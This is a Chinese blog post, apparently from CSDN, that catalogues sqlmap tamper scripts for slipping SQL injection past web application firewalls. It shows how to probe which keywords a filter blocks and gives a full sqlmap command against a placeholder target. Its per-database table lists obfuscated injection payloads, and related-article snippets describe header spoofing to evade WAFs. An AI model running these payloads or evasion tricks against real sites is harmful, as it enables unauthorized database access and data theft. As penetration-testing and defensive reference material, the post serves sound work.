sqlmap --tamper 绕过WAF脚本分类整理

最新推荐文章于 2024-07-30 10:50:29 发布
最新推荐文章于 2024-07-30 10:50:29 发布
阅读量167 收藏 1
点赞数
文章标签： 字符串 mysql 数据库 oracle java
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/tomyyyyyy/article/details/115401098
版权

sqlmap --tamper 绕过WAF脚本分类整理

sqlmap的tamper绕过waf

sqlmap的tamper绕过waf

但很多时候还是得静下来分析过滤系统到底过滤了哪些参数，该如何绕过。

sqlmap中的tamper给我们带来了很多防过滤的脚本，非常实用，可能有的朋友还不知道怎样才能最有效的利用tamper脚本。

当然使用脚本之前需要确定的就是系统过滤了哪些关键字，比如单引号、空格、select、union、admin等等。

所以有的时候我们会发现，注入成功了但是dump不出数据，很可能是select被过滤了等等原因。

如何判断使用哪个脚本

最简单的办法就是在url参数中手工带入关键词，判断是否被过滤。

如图：

直接加个单引号被过滤，说明注入时单引号是没法用的。

sqlmap的tamper绕过waf

空格、等于号都没有过滤，成功报错。

sqlmap的tamper绕过waf

select被过滤。

sqlmap的tamper绕过waf
以此类推，当sqlmap注入出现问题时，比如不出数据，就要检查对应的关键词是否被过滤。

比如空格被过滤可以使用space2comment.py，过滤系统对大小写敏感可以使用randomcase.py等等。

下面对于sqlmap的tamper参数详细讲解。

使用方法

根据实际情况，可以同时使用多个脚本，使用-v参数可以看到payload的变化。

sqlmap的tamper绕过waf

sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2comment,versionedmorekeywords.py" -v 3 --dbs

脚本分类说明

支持的数据库编号脚本名称作用实现方式
all1apostrophemask.py用utf8代替引号("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
2base64encode.py用base64编码替换("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw=='
3multiplespaces.py围绕SQL关键字添加多个空格('1 UNION SELECT foobar') '1 UNION SELECT foobar'
4space2plus.py用+替换空格('SELECT id FROM users') 'SELECT+id+FROM+users'
5nonrecursivereplacement.py双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、”")) filters('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--'
6space2randomblank.py代替空格字符(“”)从一个随机的空 白字符可选字符的有效集('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'
7unionalltounion.py替换UNION ALL SELECT UNION SELECT('-1 UNION ALL SELECT') '-1 UNION SELECT'
8securesphere.py追加特制的字符串('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"
mssql1space2hash.py绕过过滤‘=’ 替换空格字符(”)，(’ – ‘)后跟一个破折号注释，一个随机字符串和一个新行(’ n’)'1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
2equaltolike.pylike 代替等号* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
3space2mssqlblank.py(mssql)空格替换为其它空符号Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers
4space2mssqlhash.py替换空格('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227'
5between.py用between替换大于号(>)('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
6percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
7sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password'
8charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
9randomcase.py随机大小写* Input: INSERT * Output: InsERt
10charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
11space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
mysql >= 5.1.131equaltolike.pylike 代替等号* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
2greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
3apostrophenullencode.py绕过过滤双引号，替换字符和双引号。tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
4ifnull2ifisnull.py绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'
5space2mssqlhash.py替换空格('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227'
6modsecurityversioned.py过滤空格，包含完整的查询版本注释('1 AND 2>1--') '1 /!30874AND 2>1/--'
7space2mysqlblank.py空格替换其它空白符号(mysql)Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users
8between.py用between替换大于号(>)('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
9modsecurityzeroversioned.py包含了完整的查询与零版本注释('1 AND 2>1--') '1 /!00000AND 2>1/--'
10space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'
11bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'
12percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
13charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
14randomcase.py随机大小写* Input: INSERT * Output: InsERt
15versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
16space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
17charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
18versionedmorekeywords.py注释绕过* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
MySQL < 5.119halfversionedmorekeywords.py关键字前加注释* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa * Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’='QDWa
20halfversionedmorekeywords.py当数据库为mysql时绕过防火墙，每个关键字之前添加 mysql版本评论1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 2."value'/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND 'QDWa'='QDWa"
MySQL >= 5.1.1321space2morehash.py空格替换为 #号 以及更多随机字符串 换行符* Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Oracle1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
2apostrophenullencode.py绕过过滤双引号，替换字符和双引号。tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
3between.py用between替换大于号(>)('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
4charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
5randomcase.py随机大小写* Input: INSERT * Output: InsERt
6charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
7space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
PostgreSQL1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
2apostrophenullencode.py绕过过滤双引号，替换字符和双引号。tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
3between.py用between替换大于号(>)('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
4percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
5charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
6randomcase.py随机大小写* Input: INSERT * Output: InsERt
7charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
8space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
Access1appendnullbyte.py在有效负荷结束位置加载零字节字符编码('1 AND 1=1') '1 AND 1=1%00'
其他chardoubleencode.py双url编码(不处理以编码的)* Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
unmagicquotes.py宽字符绕过 GPC addslashes* Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20
randomcomments.py用/**/分割sql关键字‘INSERT’ becomes ‘IN//S//ERT’
tomyyyyy
关注
sqlmap之waf绕过
qi_SJQ_的博客
11-12 9775
白名单： 方式一:IP白奖单 从网络层获取的ip，这种一般伪造不来，如果是获取客户端的IP，这样就可能存在伪造IP绕过的情况。 测试方法:修改http的header来bypass waf x-forwarded-for x-remote-IP x-originating-IP x-remote-addr x-Real-ip   方式二:静态资源 特定的静态资源后缀请求，常见的静态文件(.js .jpg .swf .css等等)，类似白名单机制,waf为了检测效率，不去检测这样一些静态文件名...
最新SQLMAP --tamper 绕过WAF脚本分类整理
weixin_43730302的博客
01-12 1713
SQLMAP(1.3.1.29)是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，最新版sqlmap支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, H...
sqlmap绕过过滤的 tamper 脚本分类汇总
10-19
sqlmap绕过过滤的 tamper 脚本分类汇总，包括所有的数据库的过来脚本汇总
SQLMAP --tamper 绕过WAF脚本分类整理
luffysong的博客
04-08 482
支持的数据库编号脚本名称作用实现方式all1apostrophemask.py用utf8代替引号("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 2base64encode.py 用base64编码替换("1' AND SLEEP(5)#")'MScgQU5EIFNMRUVQKDUpIw=='3multiplespaces.py围绕SQ...
【WAF BYPASS】SQL注入漏洞之WAF绕过方式探索（万种）
最新发布
weixin_70940440的博客
07-30 1946
但这只是一种简单的防护措施。（注意：在 SQL 中，XOR（异或）运算符用于比较两个布尔表达式，如果两个表达式的结果不同（一个为真，一个为假），则XOR的结果为真；外部的查询SELECT * FROM users WHERE age > (子查询的结果) ：从users表中选择所有年龄大于子查询计算出的平均年龄的记录，并返回所有列（ * 表示所有列）。CHAR(101) 对应字符 'e'，CHAR(97) 对应字符 'a'，CHAR(115) 对应字符 's'，CHAR(116) 对应字符 't'。
sqlmap之绕过云锁waf
qq_50854662的博客
01-05 2853
sqlmap之绕过云锁waf
WEB漏洞-SQL注入之sqlmap绕过waf
xhscxj的博客
01-18 2865
静态资源 特定的静态资源后缀请求，常见的静态文件如（.js，.css，.jpg，.txt等），类似与白名单机制，waf为了检验的效率，不会去检验这样一些静态后缀名的请求 在网站目录后面加上x.txt，网站返回的数据不会受影响，这样waf就有可能不会去检查后面的参数，从而绕过。 爬虫白名单 当你去用工具扫描网站时访问的次数太频繁，如果网站waf设有流量资源防护，就会把你的ip列入黑名单。 但是为什么百度，谷歌等浏览器也属于爬虫，他们请求的时候不会被禁止访问 因为网站的waf设置了爬虫白名单，当它识别到use
sqlmap-tamper脚本分类
09-22
web渗透，sqlmap的脚本分类。渗透
1、Sqlmap Tamper脚本编写介绍-01
09-15
Sqlmap Tamper脚本是对Sqlmap工具的扩展，主要功能是对原本的payload进行特定的更改以绕过WAF。Tamper脚本结构主要包括三个部分：Tamper脚本结构介绍、Tamper函数介绍和dependencies函数介绍。 Tamper脚本结构介绍 ...
＜小迪安全＞19-SQL注入之sqlmap绕过WAF
hackerXxxt的博客
03-17 870
1.白名单方式一:IP白奖单从网络层获取的ip，这种一般伪造不来，如果是获取客户端的IP，这样就可能存在伪造IP绕过的情况。测试方法:修改http的header来bypass wafx-Real-ip方式二:静态资源特定的静态资源后缀请求，常见的静态文件(.js .jpg .swf .css等等)，类似白名单机制,waf为了检测效率，不去检测这样一些静态文件名后缀的请求。id=1id=1备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别。
实战sqlmap绕过WAF
qq_50854662的博客
10-27 1050
本文转载于https://xz.aliyun.com/t/10385 实战演示 通过前期的信息收集发现存在注入的页面如下： 直接使用sqlmap跑发现出现如下错误： python2 sqlmap.py -u "http://xxxx?&daxxtae=null&parame=xxxxxx" --batch --delay=1 --random-agent ___ __H__ ___ ___["]_____ ___ ___ {1.5.4.7#dev} |_
B站小迪安全笔记第十九天-SQL注入之sqlmap绕过waf
m0_61530426的博客
07-29 786
B站小迪安全笔记
SQLMAP绕过WAF小技巧
永远是少年
08-26 2388
今天继续给大家介绍渗透测试相关知识，本文主要内容是SQLMAP绕过WAF小技巧。 一、SQLMAP伪造IP白名单 二、SQLMAP伪造静态资源 三、SQLMAP伪造URL白名单 四、SQLMAP伪造User-Agent
19、SQL注入之SQLMAP绕过WAF
山兔的博客
08-14 2564
搜索引擎会对我们的网站进行爬取，因为它的收录就是对我们的网站采取爬虫技术，而且速度很快，也是符合拦截规则的，但是WAF却不会去拦截，因为WAF会去识别你这个是用户访问，还是搜索引擎爬取，所以我们可以通过数据包的伪造，伪造成搜索引擎，对目标的网站进行访问，这个时候waf肯定会放行，因为它觉得这个是搜索引擎的访问，是正常的、官方的一种收录行为，不会是用户的攻击行为。一个是获取IP是不是通过脚本去获取，如果是的话，可以去伪造IP，通过tcp/udp网络层方式获取的，那是没有办法伪造的。
sqlmap 使用tamper脚本绕过WAF
xf3401837266的博客
05-22 1177
sqlmap 使用tamper脚本绕过WAF
19.sqlmap饶过waf安全狗
weixin_46525626的博客
07-13 826
因为大都是通过的方式进行拦截，所以如果出现了被拦截的情况，大概率是因为你的语句的触发了黑名单的验证机制，导致被拦截,那应该怎么检测呢？其实就行了，输入页面，如下说明“and 1”这个部分触发了拦截，此时的绕过方式可以选择替换或者绕过，这里我们先试试对中间的空格进行替换，空格的替换方式尤其多，我们不可能全部都能记住，所以这里就要FUZZ绕过方式一:IP白奖单从网络层获取的ip，这种一般伪造不来，如果是获取客户端的IP，这样就可能存在伪造IP绕过的情况。
第18、19天：WEB漏洞-WAF绕过注入以及SQLMAP绕过WAF
cailme的博客
05-18 1686
渗透测试day18、19天
sqlmap tamper脚本_如何使用SQLMAP绕过WAF
weixin_39787057的博客
11-26 492
如何使用SQLMAP绕过WAFhttp://www.freebuf.com/articles/1000.htmlWAF(web应用防火墙)逐渐成为安全解决方案的标配之一。正因为有了它，许多公司甚至已经不在意web应用的漏洞。遗憾的是，并不是所有的waf都是不可绕过的！本文将向大家讲述，如何使用注入神器SQLMap绕过WAFs/IDSs。svn下载最新版本的sqlmapsvn checko...
SQLMap tamper脚本：绕过WAF与渗透测试指南
"SQLMap之Tamper文档详细介绍了如何使用SQLMap的tamper脚本来绕过Web应用程序的敏感字符过滤和WAF规则，以便进行渗透测试。文档涵盖了tamper脚本的作用、用法以及针对不同数据库类型的tamper脚本选择。" 在网络安全...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值